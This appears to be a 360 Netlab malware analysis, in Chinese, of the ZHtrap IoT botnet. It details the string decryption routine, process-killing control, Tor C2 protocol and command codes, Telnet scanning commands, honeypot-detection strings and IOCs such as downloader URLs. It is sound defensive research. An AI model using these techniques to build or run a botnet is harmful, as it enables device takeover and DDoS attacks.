<p>对于第二类IP，对全部的exp_port进行探测，IP与exp_port的关系是1对N，下图中的网络流量很直观的说明了这种情况。<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_exppkg.png" width="860px" /></p>
<h3 id="0x6c2">0x6 C2通信</h3>
<p>ZHtrap使用Tor C2，因此必须要在代理的帮助下，才能和C2通信。这个过程在前文有过说明，此处就不再赘述 ，下图所示的网络流量说明和C2已成功的建立了连接。<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_torconne.png" width="860px" /></p>
<p>接着通过以下代码片段向C2发送上线信息：<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_reg.png" alt="zh_ddos" loading="lazy"></p>
<p>实际中产生的网络流量如下：<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_regpkg.png" width="860px" /></p>
<p>网络流量又是如何解析呢？ZHtrap的指令包由2个数据包组成，第一个包为header，第二个包为body，其中header的格式为：</p>
<pre><code>//5 bytes ,big endian
struct header
{
uint16 body_len;
uint8 cmd_type;
uint16 checksum;
}
</code></pre>
<p>以上面的上线包流量为例，各字段含义如下所示：</p>
<pre><code>header:
00 07 -- length of body
e5 -- hardcode,cmd type,"e5",
1a fa -- tcp/ip checksum of ("00 07 e5 00 00")
body:
5a 6f 6e 65 53 65 53 -- body string,"ZoneSec"
</code></pre>
<p>发送完上线包后Bot开始等待C2下发指令，当指令包的header成功通过校验之后，依据header中第3个字节指定的命令类型，选择相应的处理流程。<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_func.png" width="860px" /></p>
<p>可以看出目前一共支持5种指令，指令码与功能的对应关系如下表所示：</p>
<table>
<thead>
<tr>
<th>Value</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x22</td>
<td>heartbeat</td>
</tr>
<tr>
<td>0x45</td>
<td>exit</td>
</tr>
<tr>
<td>0x89</td>
<td>download&exec payload</td>
</tr>
<tr>
<td>0xF5</td>
<td>reverse shell</td>
</tr>
<tr>
<td>0xFE</td>
<td>DDoS</td>
</tr>
</tbody>
</table>
<p>以心跳为例，下图中的心跳包网络流程验证了我们的分析。<br>
<img src="__GHOST_URL__/content/images/2021/03/zh_heart.png" width="860px" /></p>
<h2 id="">总结</h2>
<p>在后Mirai时代，我们见识过黑产从业者们或大或小的脑洞，其中ZHtrap将被攻陷设备蜜罐化以收集潜在可被攻击目标的做法，无疑是相当有新意的。扫描是攻击的前置过程，扫描的效率决定了攻击的质量。随机扫描是目前的主流，但它有一个致命的缺点：动静太大，极易被监测。ZHtrap的蜜罐反扫机制略显粗糙，但从单纯的随机扫描到有方向性的捕获这一转变是有非常重要的意义，如果其作者持续对此投入研究，很有可能让攻击行为从安全研究员的雷达消失。</p>
<h2 id="">联系我们</h2>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者通过邮件<strong>netlab[at]360.cn</strong>联系我们。</p>
<h2 id="ioc">IOC</h2>
<p>Sample MD5</p>
<pre><code>5370e0b9484cb25fb3d5a4b648b5c203
6c7cfbe0277e2ca0cbe7157cad7c663e
f1f70dc1274112ae5287ceb06f096d0e
9dded61f7de47409bc00e74c0a12210e
7b593fbbd6f81a3e9a2043a46949879d
ba17282481acca9636c5d01f5c2dd069
</code></pre>
<p>URL</p>
<pre><code>0xdeadbeef.tw
h5vwy6o32sdcsa5xurde35dqw5sf3cdsoeewqqxmhoyzsvar4u6ooead.onion:8080
</code></pre>
<p>C2</p>
<pre><code>oemojwe5loscudytzfo273nkdvalf7mumctwcm42zyutoo6tpfjsphyd.onion:3000
</code></pre>
<p>Reporter</p>
<pre><code>107.189.30.190:1282
107.189.30.190:2231
</code></pre>
<p>Proxy Ip</p>
<pre><code>51.178.54.234:9095
51.79.157.89:9095
167.114.185.33:9095
147.135.208.44:9095
198.245.53.58:9095
142.93.247.244:9050
66.70.188.235:9095
139.99.134.95:9095
144.217.243.21:9095
46.101.61.9:9050
</code></pre>
<p>Downloader</p>
<pre><code>x86 arm5 arm6 arm7 mips
hxxp://107.189.30.190/bins/z.{CPU_ARCH}
oemojwe5loscudytzfo273nkdvalf7mumctwcm42zyutoo6tpfjsphyd.onion:8080/z.{CPU_ARCH}
</code></pre>
<!--kg-card-end: markdown--> | 版权
版权声明：本文为Netlab原创，依据 CC BY-SA 4.0 许可证进行授权，转载请附上出处链接及本声明。
概述
从2021年2月28日起，360网络安全研究院的BotMon系统检测到IP(107.189.30.190)在持续传播一批未知ELF样本。经分析，我们确认这些样本隶属于一个新的botnet家族，结合其运行特点，我们将其命名为ZHtrap，本文对其做一分析，文章要点如下：
1. ZHtrap的传播使用了4个Nday漏洞，主要功能依然是DDoS和扫描，同时集成了一些后门功能。
2. Zhtrap能将被感染设备蜜罐化，目的是提高扫描效率。
3. Zhtrap感染受害主机后会禁止运行新的命令，以此实现彻底控制和独占该设备。
4. 在C2通信上，ZHtrap借鉴了套娃，采用了Tor和云端配置。
ZHtrap全情介绍
ZHtrap的代码由Mirai修改而来，支持x86, ARM, MIPS等主流CPU架构。但相对Mirai，ZHtrap变化较大，体现在如下方面：
* 在指令方面，加入了校验机制
* 在扫描传播方面，增加了对真实设备和蜜罐的区分
* 在加密算法方面，重新设计了一套多重XOR加密算法
* 在主机行为方面，能将被攻陷设备变成一个简易蜜罐，并实现了一套进程管控机制
* 在网络架构方面，吸收了我们之前曝光的套娃僵尸网络的实现
基本流程如下图所示：
在功能方面，除了DDoS攻击和扫描，ZHtrap还实现了后门功能，这增加了该家族的危害性。ZHtrap的具体功能包括：
* 进程管控
* 反弹Shell
* DDoS攻击
* Telnet扫描
* Exploit传播
* 蜜罐化被感染设备
* 下载执行Payload
目前捕获的ZHtrap样本，依据其功能可以分成3个版本：v1，v2和v3，其中：v2在v1的基础上，加入了漏洞利用的功能; v3在v2的基础上对网络基础设施做了删减。它们的关系如下图所示，本文的分析是基于功能最全的的v2版本。
跟我们之前分析过的botnet相比，ZHtrap最大的不同是能将被感染设备蜜罐化。蜜罐通常是安全研究人员用来捕获攻击的工具，比如收集扫描、exploits和样本，有趣的是，我们发现ZHtrap也使用了类似的技术，集成了一个扫描IP收集模块，收集到的IP会被用到自身的扫描模块中，基本流程如下所示：
实际工作时，ZHtrap会监听23个指定端口（如上图所示），如果发现有IP连接这些端口就将它当成scanner IP记录下来，这些记录的IP会被用到它自身的扫描模块中，这样，ZHtrap扫描过程中所用到的目标地址就有2个来源：
1. 随机生成的IP；
2. 上述模块捕获的扫描IP。
这方面更多的细节可以参考下面的样本分析部分。
样本逆向分析
本文选取ZHtrap v2的X86 CPU架构样本做为分析对象，基本信息如下：
MD5：5370e0b9484cb25fb3d5a4b648b5c203
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Packer：None
ZHtrap成功侵入设备后，首先通过绑定本地端口实现单一实例，然后解密出加密的资源信息，接下来将进程重命名为/bin/ZoneSec，最后在Console输出
ZH infected your shit, message me on discord to compare assets ($reiko#0095), researchers hmu twitter[.]com/ZoneHax“调戏”安全研究人员。接着通过网络请求得到资源服务器的地址，以供扫描&传播阶段使用。随后监听23个端口将设备变成一个"蜜罐"，通过telnet弱口令扫描收集可被入侵的设备信息，通过4个Nday漏洞扫描实现蠕虫式传播。最终和Tor C2进行通信，等待执行C2下发的指令。下面逐一剖析上述功能的技术细节。
0x0 加密算法
ZHtrap使用了一个比较少见的多重xor加密算法，来隐藏资源信息。
等效的python实现如下所示：
xor_key_lst = [0x51, 0x6A, 0x66, 0x6A, 0x78, 0x53, 0x52, 0x44, 0x46, 0x47, 0x53, 0x46, 0x44, 0x64, 0x66] #QjfjxSRDFGSFDdf
xor_key = 0xD00DBAAF
def decode(content):
desc_lst = []
plaintext=""
xor_key_lst_idx = 1
for idx in range(0, len(content)):
desc_lst.append(chr(content[idx] ^ (xor_key % 0xFF) ^ xor_key_lst[xor_key_lst_idx - 1] ^ (xor_key_lst_idx + idx)))
xor_key_lst_idx += 1
if xor_key_lst_idx >= len(xor_key_lst):
xor_key_lst_idx = 0
else:
print("".join(desc_lst))
以下面密文为例
cipher =[
0x42, 0x69, 0x0B, 0x4C, 0x57, 0x76, 0x72, 0x60, 0x6B, 0x79,
0x6A, 0x39, 0x6C, 0x58, 0x55, 0x7B, 0x10, 0x49, 0x5C, 0x41,
0x75, 0x2A, 0x32, 0x43, 0x48, 0x4C, 0x5B, 0x45, 0x61, 0x56,
0x26, 0x6E, 0x68, 0x27, 0x78, 0x5C, 0x11, 0x45, 0x48, 0x4D,
0x4B, 0x54, 0x49, 0x71, 0x22, 0x43, 0x7D, 0x3C, 0x75, 0x69,
0x4E, 0x50, 0x51, 0x42, 0x2A, 0x79, 0x2B, 0x39, 0x17, 0x70,
0x50, 0x6E, 0x4F, 0x49, 0x51, 0x2E, 0x36, 0x2E, 0x28, 0x2F,
0x69, 0x6D, 0x69, 0x42, 0x51, 0x7C, 0x40, 0x5E, 0x02, 0x01,
0x3E, 0x27, 0x37, 0x20, 0x32, 0x13, 0x09, 0x1A, 0x39, 0x57,
0x2A, 0x12, 0x04, 0x63, 0x27, 0x09, 0x14, 0x11, 0x11, 0x07,
0x06, 0x51, 0x1C, 0x36, 0x2B, 0x5C, 0x14, 0x2F, 0x3C, 0x27,
0x27, 0x0D, 0x0C
]
解密后得到如下明文，正是输出在Console的提示信息：
ZH infected your shit, message me on discord to compare assets ($reiko#0095), researchers hmu twitter[.]com/ZoneHax
当前样本中一共有3条加密信息，解密后如下所示，其中/proc/以及/stat在下一章节进程管控中使用。
index
plaintext
2
/stat
1
/proc/
0
ZH infected your shit.....
0x1 进程管控
ZHtrap通过白名单和快照机制实现进程管控，以实现对设备的独占。其中可执行文件包含以下路径的进程即被视为白名单进程。ZHtrap启动后会先获取当前的进程列表，然后通过kill -9结束非白名单进程。从这一步可以看出，ZHtrap并不想破坏系统的正常运行。
/bin
/sbin
/user/bin
/user/sbin
接下来ZHtrap会为系统建立进程快照，此后如果有新创建进程，如果不在快照中将被kill。如此一来，整个系统就保持在ZHtrap的控制下运行了，即使管理员发现设备有问题想通过系统工具进行管理，也无法正常执行，远程维护变成了一项不可能的任务。
第一步，清理非白名单进程
ZHtrap运行时，遍历系统当前进程，读取"/proc/pid/stat"中第22项，starttime的值。这个值除以_SC_CLK_TCK可以得到进程是在内核启动后多久启动的。_SC_CLK_TCK的值一般等于100，10000/_SC_CLK_TCK的结果为100秒，即所有在内核启动100秒之后启动的进程都要进行检查，如果进程路径不在白名单中，则通过kill杀掉进程。
第二步，建立进程快照，不在标的新进程都将被清理
清理完非白单名进程后，ZHtrap认为系统处在一个“纯净的状态”，首先为系统建立进程快照。
在此之后新创建的进程都会和进程快照进行比较，不符合要求的进程，都将被直接kill。
0x2 获取资源服务器
ZHtrap通过以下代码片段获得资源服务器(ResServ)的地址，这个过程可以分成俩步，第一步和Tor domain建立通信，第二步发送"GET /sfkjdkfdj.txt"请求。
如何和Tor domain建立通信呢？
ZHtrap借鉴了套娃僵尸网络的思路，首先向远程主机0xdeadbeef.tw请求DNS TXT记录，得到下图中的Tor代理的列表，
任选其中一个代理建立连接，然后向代理发送想要建立通信的domain :port信息，如果代理返回05 00 00 01 00 00 00 00 00 00时，说明通信已成功建立。然后发送后续的GET请求就能得到资源服务器地址(107.189.30.190)，下图的网络流量很清楚的反映这个过程。
资源服务器有什么用呢？
通过上图IDA交叉引用可知，ResServ的功能有俩个：
* 充当Reporter Server角色，为Telnet扫描过程提供信息上传服务
* 充当Downloader Server角色，为漏洞传播过程提供样本下载服务
0x3 蜜罐化被攻陷的设备
ZHtrap首先建立了2个管道用于信息传输，然后通过以下代码片段实现了一个监听23个端口的简易蜜罐
实际效果如下：
当设备的这些端口被访问时，ZHtrap会将访问者的IP地址通过管道传递给telnet扫描&漏洞扫描使用。
为什么要这样做呢？
我们推测，ZHtrap的作者的想法是这样的：
许多botnet都会实现蠕虫式的扫描传播，当ZHtrap的蜜罐端口被访问时，其来源很有可能是已被别家botnet感染的设备。这设备能被感染，肯定存在缺陷，我使用我的扫描机制反扫一次有很大的机会能植入我的bot样本，再配合进程管控功能，就能独占设备了。Awesome！
0x4 Telnet扫描
ZHtrap使用Telnet扫描来收集使用弱口令的设备，扫描对象来源有以下2类：
1. 主动随机生成的IP
2. 被动接收由蜜罐投递的IP
不同来源的IP，有不同的处理办法:
对于第1类IP，使用SYN端口探测。
对于第2类IP，直接调用connect函数。
当发现目标的23端口是开放时，使用硬编码的凭证列表尝试登录，将能成功登录的的IP，端口，帐号，密码等信息通过以下代码，回传给资源服务器。
在尝试登录这个过程中，ZHtrap会让被扫描设备执行以下命令:
enable
linuxshell
system
bash
ls /home
ps aux
/bin/busybox ZONESEC
然后根据返回的信息对设备类型进行判断，当包含以下字串时，说明设备是个蜜罐。
string
honeypot
Jun22
cowrie
Jun23
cowrie
phil
cowrie
sshd:
cowrie
richard
cowrie
@LocalHost:]
cowrie
Welcome to EmbyLinux 3.13.0-24-generic
telnet-iot-honeypot
如果是蜜罐，则将设备信息通过2231端口上报到资源服务器。
如果是真实设备，则将设备信息通过1282端口上报给资源服务器。
0x5 漏洞扫描&传播
ZHtrap使用以下4个Nday漏洞传播样本：
* JAWS_DVR_RCE
* NETGEAR
* CCTV_DVR_RCE
* CVE-2014-8361
首先构造SYN包探测设备的端口是否开放，支持的端口(exp_port)列表如下所示：
80
8080
8081
8083
5500
60001
52869
8089
8090
8000
81
82
83
84
85
8888
8181
8443
5555
然后发送“GET /”请求以获取端口所运行服务的信息：
随后通过以下代码片段对服务返回的banner信息做判断，进而判断是否为目标设备。
最终根据banner信息，选择相应的漏洞，和ResServ组装有效payload，尝试植入。
和telnet扫描过程一样，扫描对象来源有以下2类：
1. 主动随机生成的IP
2. 被动接收由蜜罐投递的IP
对于第一类IP，随机选择一个exp_port进行探测，IP与exp_port的关系是1对1。
对于第二类IP，对全部的exp_port进行探测，IP与exp_port的关系是1对N，下图中的网络流量很直观的说明了这种情况。
0x6 C2通信
ZHtrap使用Tor C2，因此必须要在代理的帮助下，才能和C2通信。这个过程在前文有过说明，此处就不再赘述 ，下图所示的网络流量说明和C2已成功的建立了连接。
接着通过以下代码片段向C2发送上线信息：
实际中产生的网络流量如下：
网络流量又是如何解析呢？ZHtrap的指令包由2个数据包组成，第一个包为header，第二个包为body，其中header的格式为：
//5 bytes ,big endian
struct header
{
uint16 body_len;
uint8 cmd_type;
uint16 checksum;
}
以上面的上线包流量为例，各字段含义如下所示：
header:
00 07 -- length of body
e5 -- hardcode,cmd type,"e5",
1a fa -- tcp/ip checksum of ("00 07 e5 00 00")
body:
5a 6f 6e 65 53 65 53 -- body string,"ZoneSec"
发送完上线包后Bot开始等待C2下发指令，当指令包的header成功通过校验之后，依据header中第3个字节指定的命令类型，选择相应的处理流程。
可以看出目前一共支持5种指令，指令码与功能的对应关系如下表所示：
Value
Function
0x22
heartbeat
0x45
exit
0x89
download&exec payload
0xF5
reverse shell
0xFE
DDoS
以心跳为例，下图中的心跳包网络流程验证了我们的分析。
总结
在后Mirai时代，我们见识过黑产从业者们或大或小的脑洞，其中ZHtrap将被攻陷设备蜜罐化以收集潜在可被攻击目标的做法，无疑是相当有新意的。扫描是攻击的前置过程，扫描的效率决定了攻击的质量。随机扫描是目前的主流，但它有一个致命的缺点：动静太大，极易被监测。ZHtrap的蜜罐反扫机制略显粗糙，但从单纯的随机扫描到有方向性的捕获这一转变是有非常重要的意义，如果其作者持续对此投入研究，很有可能让攻击行为从安全研究员的雷达消失。
联系我们
感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。
IOC
Sample MD5
5370e0b9484cb25fb3d5a4b648b5c203
6c7cfbe0277e2ca0cbe7157cad7c663e
f1f70dc1274112ae5287ceb06f096d0e
9dded61f7de47409bc00e74c0a12210e
7b593fbbd6f81a3e9a2043a46949879d
ba17282481acca9636c5d01f5c2dd069
URL
0xdeadbeef.tw
h5vwy6o32sdcsa5xurde35dqw5sf3cdsoeewqqxmhoyzsvar4u6ooead.onion:8080
C2
oemojwe5loscudytzfo273nkdvalf7mumctwcm42zyutoo6tpfjsphyd.onion:3000
Reporter
107.189.30.190:1282
107.189.30.190:2231
Proxy Ip
51.178.54.234:9095
51.79.157.89:9095
167.114.185.33:9095
147.135.208.44:9095
198.245.53.58:9095
142.93.247.244:9050
66.70.188.235:9095
139.99.134.95:9095
144.217.243.21:9095
46.101.61.9:9050
Downloader
x86 arm5 arm6 arm7 mips
hxxp://107.189.30.190/bins/z.{CPU_ARCH}
oemojwe5loscudytzfo273nkdvalf7mumctwcm42zyutoo6tpfjsphyd.onion:8080/z.{CPU_ARCH}
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"\n\n## 版权\n\n版权声明：本文为Netlab原创，依据 [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/) 许可证进行授权，转载请附上出处链接及本声明。\n\n## 概述\n\n从2021年2月28日起，360网络安全研究院的BotMon系统检测到IP(```107.189.30.190```)在持续传播一批未知ELF样本。经分析，我们确认这些样本隶属于一个新的botnet家族，结合其运行特点，我们将其命名为```ZHtrap```，本文对其做一分析，文章要点如下：\n1. ZHtrap的传播使用了4个Nday漏洞，主要功能依然是DDoS和扫描，同时集成了一些后门功能。\n2. **Zhtrap能将被感染设备蜜罐化**，目的是提高扫描效率。\n3. Zhtrap感染受害主机后会禁止运行新的命令，以此实现彻底控制和独占该设备。\n4. 在C2通信上，ZHtrap借鉴了[**套娃**](__GHOST_URL__/matryosh-botnet-is-spreading/)，采用了Tor和云端配置。\n\n\n\n\n \n\n\n\n ## ZHtrap全情介绍\n\n\nZHtrap的代码由Mirai修改而来，支持x86, ARM, MIPS等主流CPU架构。但相对Mirai，ZHtrap变化较大，体现在如下方面：\n\n\n- 在指令方面，加入了校验机制\n- 在扫描传播方面，```增加了对真实设备和蜜罐的区分```\n- 在加密算法方面，重新设计了一套多重XOR加密算法\n- 在主机行为方面，**能将被攻陷设备变成一个简易蜜罐，并实现了一套进程管控机制**\n- 在网络架构方面，吸收了我们之前曝光的套娃僵尸网络的实现\n\n基本流程如下图所示：\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_brief.png\" width=\"860px\" />\n在功能方面，除了DDoS攻击和扫描，ZHtrap还实现了后门功能，这增加了该家族的危害性。ZHtrap的具体功能包括：\n- 进程管控\n- 反弹Shell\n- DDoS攻击\n- Telnet扫描\n- Exploit传播\n- **蜜罐化被感染设备**\n- 下载执行Payload\n\n\n目前捕获的ZHtrap样本，依据其功能可以分成3个版本：v1，v2和v3，其中：v2在v1的基础上，加入了漏洞利用的功能; v3在v2的基础上对网络基础设施做了删减。它们的关系如下图所示，本文的分析是基于功能最全的的v2版本。\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_version-2.png\" width=\"860px\" />\n\n\n\n\n\n\n跟我们之前分析过的botnet相比，ZHtrap最大的不同是能**将被感染设备蜜罐化**。蜜罐通常是安全研究人员用来捕获攻击的工具，比如收集扫描、exploits和样本，有趣的是，我们发现ZHtrap也使用了类似的技术，集成了一个扫描IP收集模块，收集到的IP会被用到自身的扫描模块中，基本流程如下所示：\n <img src=\"__GHOST_URL__/content/images/2021/03/zh_trap.png\" width=\"860px\" />\n\n实际工作时，ZHtrap会监听23个指定端口（如上图所示），如果发现有IP连接这些端口就将它当成scanner IP记录下来，这些记录的IP会被用到它自身的扫描模块中，这样，ZHtrap扫描过程中所用到的目标地址就有2个来源：\n1. 随机生成的IP；\n2. 上述模块捕获的扫描IP。 \n\n这方面更多的细节可以参考下面的样本分析部分。\n\n\n\n\n\n\n\n\n## 样本逆向分析\n\n<br/>\n\n本文选取ZHtrap v2的X86 CPU架构样本做为分析对象，基本信息如下：\n\n> MD5：5370e0b9484cb25fb3d5a4b648b5c203 \n> ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped \n> Packer：None\n\nZHtrap成功侵入设备后，首先通过绑定本地端口实现单一实例，然后解密出加密的资源信息，接下来将进程重命名为```/bin/ZoneSec```，最后在Console输出\n```ZH infected your shit, message me on discord to compare assets ($reiko#0095), researchers hmu twitter[.]com/ZoneHax```“调戏”安全研究人员。接着通过网络请求得到资源服务器的地址，以供扫描&传播阶段使用。随后监听23个端口将设备变成一个\"蜜罐\"，通过telnet弱口令扫描收集可被入侵的设备信息，通过4个Nday漏洞扫描实现蠕虫式传播。最终和Tor C2进行通信，等待执行C2下发的指令。下面逐一剖析上述功能的技术细节。\n\n### 0x0 加密算法\n \nZHtrap使用了一个比较少见的多重xor加密算法，来隐藏资源信息。\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_xor.png\" width=\"860px\" />\n\n\n等效的python实现如下所示：\n\n```\nxor_key_lst = [0x51, 0x6A, 0x66, 0x6A, 0x78, 0x53, 0x52, 0x44, 0x46, 0x47, 0x53, 0x46, 0x44, 0x64, 0x66] #QjfjxSRDFGSFDdf\nxor_key = 0xD00DBAAF\n\ndef decode(content):\n\t\tdesc_lst = []\n\t\tplaintext=\"\"\n \t\txor_key_lst_idx = 1\n\t\tfor idx in range(0, len(content)):\n\t\t\tdesc_lst.append(chr(content[idx] ^ (xor_key % 0xFF) ^ xor_key_lst[xor_key_lst_idx - 1] ^ (xor_key_lst_idx + idx)))\n\t\t\txor_key_lst_idx += 1\n\t\t\tif xor_key_lst_idx >= len(xor_key_lst):\n\t\t\t\txor_key_lst_idx = 0\n\t\telse:\n\t\t\tprint(\"\".join(desc_lst))\n\n```\n以下面密文为例\n```\ncipher =[\n\n 0x42, 0x69, 0x0B, 0x4C, 0x57, 0x76, 0x72, 0x60, 0x6B, 0x79, \n 0x6A, 0x39, 0x6C, 0x58, 0x55, 0x7B, 0x10, 0x49, 0x5C, 0x41, \n 0x75, 0x2A, 0x32, 0x43, 0x48, 0x4C, 0x5B, 0x45, 0x61, 0x56, \n 0x26, 0x6E, 0x68, 0x27, 0x78, 0x5C, 0x11, 0x45, 0x48, 0x4D, \n 0x4B, 0x54, 0x49, 0x71, 0x22, 0x43, 0x7D, 0x3C, 0x75, 0x69, \n 0x4E, 0x50, 0x51, 0x42, 0x2A, 0x79, 0x2B, 0x39, 0x17, 0x70, \n 0x50, 0x6E, 0x4F, 0x49, 0x51, 0x2E, 0x36, 0x2E, 0x28, 0x2F, \n 0x69, 0x6D, 0x69, 0x42, 0x51, 0x7C, 0x40, 0x5E, 0x02, 0x01, \n 0x3E, 0x27, 0x37, 0x20, 0x32, 0x13, 0x09, 0x1A, 0x39, 0x57, \n 0x2A, 0x12, 0x04, 0x63, 0x27, 0x09, 0x14, 0x11, 0x11, 0x07, \n 0x06, 0x51, 0x1C, 0x36, 0x2B, 0x5C, 0x14, 0x2F, 0x3C, 0x27, \n 0x27, 0x0D, 0x0C\n]\n```\n\n解密后得到如下明文，正是输出在Console的提示信息：\n\n```\nZH infected your shit, message me on discord to compare assets ($reiko#0095), researchers hmu twitter[.]com/ZoneHax\n```\n\n当前样本中一共有3条加密信息，解密后如下所示，其中```/proc/```以及```/stat```在下一章节```进程管控```中使用。\n| index | plaintext |\n| ----- | ------------------------------------------------------------ |\n| 2 | /stat |\n| 1 | /proc/ |\n| 0 | ZH infected your shit.....|\n\n\n\n\n### 0x1 进程管控\nZHtrap通过白名单和快照机制实现进程管控，以实现对设备的独占。其中可执行文件包含以下路径的进程即被视为白名单进程。ZHtrap启动后会先获取当前的进程列表，然后通过kill -9结束非白名单进程。从这一步可以看出，ZHtrap并不想破坏系统的正常运行。\n```\n/bin\n/sbin\n/user/bin\n/user/sbin\n```\n\n接下来ZHtrap会为系统建立进程快照，此后如果有新创建进程，如果不在快照中将被kill。如此一来，整个系统就保持在ZHtrap的控制下运行了，即使管理员发现设备有问题想通过系统工具进行管理，也无法正常执行，远程维护变成了一项不可能的任务。\n\n\n###### 第一步，清理非白名单进程\n\nZHtrap运行时，遍历系统当前进程，读取\"/proc/pid/stat\"中第22项，```starttime```的值。这个值除以_SC_CLK_TCK可以得到进程是在内核启动后多久启动的。```_SC_CLK_TCK```的值一般等于100，10000/_SC_CLK_TCK的结果为100秒，即所有在内核启动100秒之后启动的进程都要进行检查，如果进程路径不在白名单中，则通过kill杀掉进程。\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_procwhite.png\" width=\"860px\" />\n\n###### 第二步，建立进程快照，不在标的新进程都将被清理 \n\n清理完非白单名进程后，ZHtrap认为系统处在一个“纯净的状态”，首先为系统建立进程快照。\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_procsnap.png\" width=\"860px\" />\n\n在此之后新创建的进程都会和进程快照进行比较，不符合要求的进程，都将被直接kill。\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_proctest.png\" />\n\n### 0x2 获取资源服务器\n\n\nZHtrap通过以下代码片段获得资源服务器(ResServ)的地址，这个过程可以分成俩步，第一步和Tor domain建立通信，第二步发送\"```GET /sfkjdkfdj.txt```\"请求。\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_rescode.png\" width=\"860px\" />\n\n\n###### 如何和Tor domain建立通信呢？\nZHtrap借鉴了套娃僵尸网络的思路，首先向远程主机```0xdeadbeef.tw```请求DNS TXT记录，得到下图中的Tor代理的列表，\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_torproxy.png\" width=\"860px\" />\n任选其中一个代理建立连接，然后向代理发送想要建立通信的```domain :port```信息，如果代理返回`05 00 00 01 00 00 00 00 00 00`时，说明通信已成功建立。然后发送后续的GET请求就能得到资源服务器地址(```107.189.30.190```)，下图的网络流量很清楚的反映这个过程。\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_respkg.png\" width=\"860px\" />\n\n###### 资源服务器有什么用呢？\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_respopu.png\" width=\"860px\" />\n\n通过上图IDA交叉引用可知，ResServ的功能有俩个：\n\n- 充当Reporter Server角色，为Telnet扫描过程提供信息上传服务\n- 充当Downloader Server角色，为漏洞传播过程提供样本下载服务\n\n### 0x3 蜜罐化被攻陷的设备\n\nZHtrap首先建立了2个管道用于信息传输，然后通过以下代码片段实现了一个监听23个端口的简易蜜罐\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_honcode.png\" width=\"860px\" />\n\n实际效果如下：\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_honshow.png\" width=\"860px\" />\n\n当设备的这些端口被访问时，ZHtrap会将访问者的IP地址通过管道传递给telnet扫描&漏洞扫描使用。\n\n\n\n\n###### 为什么要这样做呢？ \n\n\n我们推测，ZHtrap的作者的想法是这样的：\n>许多botnet都会实现蠕虫式的扫描传播，当ZHtrap的蜜罐端口被访问时，其来源很有可能是已被别家botnet感染的设备。这设备能被感染，肯定存在缺陷，我使用我的扫描机制反扫一次有很大的机会能植入我的bot样本，再配合进程管控功能，就能独占设备了。Awesome！\n\n\n\n### 0x4 Telnet扫描\n\nZHtrap使用Telnet扫描来收集使用弱口令的设备，扫描对象来源有以下2类：\n\n1. 主动随机生成的IP\n2. 被动接收由蜜罐投递的IP\n\n不同来源的IP，有不同的处理办法:\n\n对于第1类IP，使用SYN端口探测。\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_tela.png\" width=\"860px\" />\n\n对于第2类IP，直接调用connect函数。\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_telb.png\" width=\"860px\" />\n\n当发现目标的23端口是开放时，使用硬编码的凭证列表尝试登录，将能成功登录的的```IP，端口，帐号，密码```等信息通过以下代码，回传给资源服务器。\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_telrep.png\" width=\"860px\" />\n\n在尝试登录这个过程中，ZHtrap会让被扫描设备执行以下命令:\n```\nenable\nlinuxshell\nsystem\nbash\nls /home\nps aux\n/bin/busybox ZONESEC\n\n```\n然后根据返回的信息对设备类型进行判断，当包含以下字串时，说明设备是个蜜罐。\n\n| string | honeypot |\n| -------------------------------------- | ------------------------------------------------------------ |\n| Jun22 | [cowrie](https://github.com/cowrie/cowrie) |\n| Jun23 | cowrie |\n| phil | cowrie |\n| sshd: | cowrie |\n| richard | cowrie |\n| @LocalHost:] | cowrie |\n| Welcome to EmbyLinux 3.13.0-24-generic | [telnet-iot-honeypot](https://github.com/Phype/telnet-iot-honeypot) |\n\n如果是蜜罐，则将设备信息通过```2231端口```上报到资源服务器。\n\n\n\n\n\n如果是真实设备，则将设备信息通过```1282端口```上报给资源服务器。\n\n\n\n\n\n\n\n### 0x5 漏洞扫描&传播\n\nZHtrap使用以下4个Nday漏洞传播样本：\n- [JAWS_DVR_RCE](https://www.exploit-db.com/exploits/41471/) \n- [NETGEAR]( https://www.exploit-db.com/exploits/43055 ) \n- [CCTV_DVR_RCE]( https://www.exploit-db.com/exploits/39596/)\n- [CVE-2014-8361](https://www.exploit-db.com/exploits/37169/)\n\n\n\n首先构造SYN包探测设备的端口是否开放，支持的端口(exp_port)列表如下所示：\n\n| 80 | 8080 | 8081 | 8083 | 5500 |\n| ----- | ----- | ---- | ---- | ---- |\n| 60001 | 52869 | 8089 | 8090 | 8000 |\n| 81 | 82 | 83 | 84 | 85 |\n| 8888 | 8181 | 8443 | 5555 | |\n\n然后发送“GET /”请求以获取端口所运行服务的信息：\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_expreq.png\" width=\"860px\" />\n\n随后通过以下代码片段对服务返回的banner信息做判断，进而判断是否为目标设备。\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_expresp.png\" width=\"860px\" />\n\n最终根据banner信息，选择相应的漏洞，和ResServ组装有效payload，尝试植入。\n<img src=\"__GHOST_URL__/content/images/2021/03/zh_expsend.png\" width=\"860px\" />\n\n和telnet扫描过程一样，扫描对象来源有以下2类：\n\n1. 主动随机生成的IP\n2. 